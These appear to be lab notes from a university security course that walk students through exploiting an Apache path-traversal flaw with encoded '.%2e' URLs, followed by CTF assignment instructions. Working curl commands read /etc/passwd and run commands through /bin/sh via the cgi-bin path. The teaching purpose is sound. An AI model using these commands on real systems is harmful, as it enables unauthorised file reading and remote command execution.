404 Not Found

Not Found

The requested URL was not found on this server.

Now let’s try to access the resource /icons/ curl -s --path-as-is "http://172.20.0.95:80/icons/" 403 Forbidden

Forbidden

You don't have permission to access this resource.

The resource /icons/ is considered to exist in the remote server because the error says that you don’t have permission instead of not found. Then, we use this folder /icons/ because it is by default in all Apache installations. Let's get the resource icons/../, without encoding. This should give us the main page because the /../ is still inside the allowed path. curl -s --path-as-is "http://172.20.0.95:80/icons/../" | tee -a icons-page Compare to see if the icons page and main were the same diff main-page icons-page This should give you no output. This means that going back from the icons page, is the same as the main page. Let's get the resource icons/../, encoded this time, which should give us the main page again. curl -s --path-as-is "http://172.20.0.95:80/icons/.%2e/" | tee -a icons-encoded

It works!

It worked! This means that the app is vulnerable to this encoding attack. Before this, the /icons/ page was forbidden, now, it is available using encoding! Now let’s steal its passwd file, which should not be accessed on the web: curl -s --path-as-is "http://172.20.0.95:80/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" Did it work? What would you access? Exploiting the Remote Command Execution (RCE) (17:30, 10m) Remote code execution (RCE) happens when the mod_cgi module is enabled in Apache, which means that “any file that has the handler cgi-script will be treated as a CGI script, and run by the server, with its output being returned to the client.” So, if you request /cgi-bin/../../../../../bin/sh, it will be treated as a cgi-script. Let’s request it and pass some data as a POST. POST /test.cgi HTTP/1.1 Host: pepe.commydatasdf In curl, you can send data using -d. For example, -d mydata curl -s --path-as-is -d 'echo; ls -al' "http://172.20.0.95:80/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh" /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh → execute /bin/sh as a script -d → send data in a POST request, Did it work? Question: in which folder was that last command executed? Now you can have a remote control! What would you do to attack? CTU Students assignment 4 (17:40, 5m) Assignment 4 - Part 1 (1+2 points) Log in to your docker Find the Hogwarts library in the IP THAT IS SHOWN IN THE CTFd and explore it. Find the flag and answer the question in CTFd. Useful tools: nmap, ls, ssh, cat * Assignment 4 - Part 2 (3 points) Log in to your docker Server has a vulnerability Find it and search for an exploit Exploit this vulnerability to read the flag file Useful tools: nmap, python, cat * Class Feedback By giving us feedback after each class, we can make the next class even better! bit.ly/BSYFeedback *